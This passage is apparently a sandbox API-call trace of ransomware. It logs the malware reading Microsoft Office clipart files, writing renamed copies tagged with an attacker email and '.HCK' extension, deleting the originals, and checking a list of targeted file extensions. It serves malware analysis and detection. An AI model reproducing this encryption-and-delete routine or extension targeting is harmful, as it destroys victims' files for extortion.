lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.391] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.391] SetEndOfFile (hFile=0x370) returned 1 [0178.394] CloseHandle (hObject=0x370) returned 1 [0178.394] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.394] SetEndOfFile (hFile=0x3a4) returned 1 [0178.396] CloseHandle (hObject=0x3a4) returned 1 [0178.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00798_.wmf")) returned 1 [0178.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.399] lstrlenW (lpString=".doc") returned 4 [0178.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.399] lstrlenW (lpString=".docx") returned 5 [0178.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.400] lstrlenW (lpString=".pdf") returned 4 [0178.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.400] lstrlenW (lpString=".xls") returned 4 [0178.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.400] lstrlenW (lpString=".xlsx") returned 5 [0178.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.400] lstrlenW (lpString=".ppt") returned 4 [0178.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.400] lstrlenW (lpString=".zip") returned 4 [0178.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.400] lstrlenW (lpString=".rar") returned 4 [0178.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.400] lstrlenW (lpString=".bz2") returned 4 [0178.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.400] lstrlenW (lpString=".7z") returned 3 [0178.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.400] lstrlenW (lpString=".dbf") returned 4 [0178.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.400] lstrlenW (lpString=".1cd") returned 4 [0178.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.400] lstrlenW (lpString=".jpg") returned 4 [0178.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.400] lstrlenW (lpString=".doc") returned 4 [0178.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.400] lstrlenW (lpString=".docx") returned 5 [0178.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.400] lstrlenW (lpString=".pdf") returned 4 [0178.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.400] lstrlenW (lpString=".xls") returned 4 [0178.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.400] lstrlenW (lpString=".xlsx") returned 5 [0178.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.400] lstrlenW (lpString=".ppt") returned 4 [0178.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.400] lstrlenW (lpString=".zip") returned 4 [0178.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.400] lstrlenW (lpString=".rar") returned 4 [0178.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.401] lstrlenW (lpString=".bz2") returned 4 [0178.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.401] lstrlenW (lpString=".7z") returned 3 [0178.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.401] lstrlenW (lpString=".dbf") returned 4 [0178.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.401] lstrlenW (lpString=".1cd") returned 4 [0178.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00798_.WMF") returned 68 [0178.401] lstrlenW (lpString=".jpg") returned 4 [0178.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.401] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.401] lstrlenW (lpString="NA00809_.WMF") returned 12 [0178.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.403] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1544) returned 1 [0178.403] CloseHandle (hObject=0x2fc) returned 1 [0178.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf")) returned 0x220 [0178.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.489] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.489] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.496] GetLastError () returned 0x0 [0178.496] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x608, lpOverlapped=0x0) returned 1 [0178.498] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x610, lpOverlapped=0x0) returned 1 [0178.499] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.499] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.499] SetEndOfFile (hFile=0x3a4) returned 1 [0178.500] CloseHandle (hObject=0x3a4) returned 1 [0178.501] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.501] SetEndOfFile (hFile=0x370) returned 1 [0178.502] CloseHandle (hObject=0x370) returned 1 [0178.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.503] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00809_.wmf")) returned 1 [0178.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.505] lstrlenW (lpString=".doc") returned 4 [0178.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString=".docx") returned 5 [0178.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.505] lstrlenW (lpString=".pdf") returned 4 [0178.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString=".xls") returned 4 [0178.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.505] lstrlenW (lpString=".xlsx") returned 5 [0178.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.505] lstrlenW (lpString=".ppt") returned 4 [0178.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.505] lstrlenW (lpString=".zip") returned 4 [0178.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.505] lstrlenW (lpString=".rar") returned 4 [0178.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString=".bz2") returned 4 [0178.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString=".7z") returned 3 [0178.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.505] lstrlenW (lpString=".dbf") returned 4 [0178.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.505] lstrlenW (lpString=".1cd") returned 4 [0178.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.505] lstrlenW (lpString=".jpg") returned 4 [0178.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.505] lstrlenW (lpString=".doc") returned 4 [0178.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString=".docx") returned 5 [0178.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.505] lstrlenW (lpString=".pdf") returned 4 [0178.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString=".xls") returned 4 [0178.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.505] lstrlenW (lpString=".xlsx") returned 5 [0178.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.505] lstrlenW (lpString=".ppt") returned 4 [0178.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.505] lstrlenW (lpString=".zip") returned 4 [0178.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.506] lstrlenW (lpString=".rar") returned 4 [0178.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.506] lstrlenW (lpString=".bz2") returned 4 [0178.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.506] lstrlenW (lpString=".7z") returned 3 [0178.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.506] lstrlenW (lpString=".dbf") returned 4 [0178.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.506] lstrlenW (lpString=".1cd") returned 4 [0178.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00809_.WMF") returned 68 [0178.506] lstrlenW (lpString=".jpg") returned 4 [0178.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.506] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.506] lstrlenW (lpString="NA01069_.WMF") returned 12 [0178.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.511] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6782) returned 1 [0178.511] CloseHandle (hObject=0x300) returned 1 [0178.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf")) returned 0x220 [0178.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.519] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.519] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.524] GetLastError () returned 0x0 [0178.524] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1a7e, lpOverlapped=0x0) returned 1 [0178.526] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1a80, lpOverlapped=0x0) returned 1 [0178.527] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.527] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.527] SetEndOfFile (hFile=0x370) returned 1 [0178.527] CloseHandle (hObject=0x370) returned 1 [0178.528] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.528] SetEndOfFile (hFile=0x2fc) returned 1 [0178.529] CloseHandle (hObject=0x2fc) returned 1 [0178.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01069_.wmf")) returned 1 [0178.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.532] lstrlenW (lpString=".doc") returned 4 [0178.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.532] lstrlenW (lpString=".docx") returned 5 [0178.532] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.532] lstrlenW (lpString=".pdf") returned 4 [0178.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.532] lstrlenW (lpString=".xls") returned 4 [0178.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.532] lstrlenW (lpString=".xlsx") returned 5 [0178.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.532] lstrlenW (lpString=".ppt") returned 4 [0178.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.532] lstrlenW (lpString=".zip") returned 4 [0178.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.532] lstrlenW (lpString=".rar") returned 4 [0178.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.532] lstrlenW (lpString=".bz2") returned 4 [0178.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.532] lstrlenW (lpString=".7z") returned 3 [0178.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.533] lstrlenW (lpString=".dbf") returned 4 [0178.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.533] lstrlenW (lpString=".1cd") returned 4 [0178.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.533] lstrlenW (lpString=".jpg") returned 4 [0178.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.533] lstrlenW (lpString=".doc") returned 4 [0178.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.533] lstrlenW (lpString=".docx") returned 5 [0178.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.533] lstrlenW (lpString=".pdf") returned 4 [0178.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.533] lstrlenW (lpString=".xls") returned 4 [0178.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.533] lstrlenW (lpString=".xlsx") returned 5 [0178.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.533] lstrlenW (lpString=".ppt") returned 4 [0178.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.533] lstrlenW (lpString=".zip") returned 4 [0178.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.533] lstrlenW (lpString=".rar") returned 4 [0178.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.533] lstrlenW (lpString=".bz2") returned 4 [0178.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.533] lstrlenW (lpString=".7z") returned 3 [0178.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.533] lstrlenW (lpString=".dbf") returned 4 [0178.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.533] lstrlenW (lpString=".1cd") returned 4 [0178.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01069_.WMF") returned 68 [0178.533] lstrlenW (lpString=".jpg") returned 4 [0178.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.533] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.533] lstrlenW (lpString="NA01141_.WMF") returned 12 [0178.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.537] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5848) returned 1 [0178.537] CloseHandle (hObject=0x300) returned 1 [0178.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf")) returned 0x220 [0178.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.539] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.539] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01141_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01141_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.543] GetLastError () returned 0x0 [0178.543] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x16d8, lpOverlapped=0x0) returned 1 [0178.546] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x16e0, lpOverlapped=0x0) returned 1 [0178.546] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.546] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | 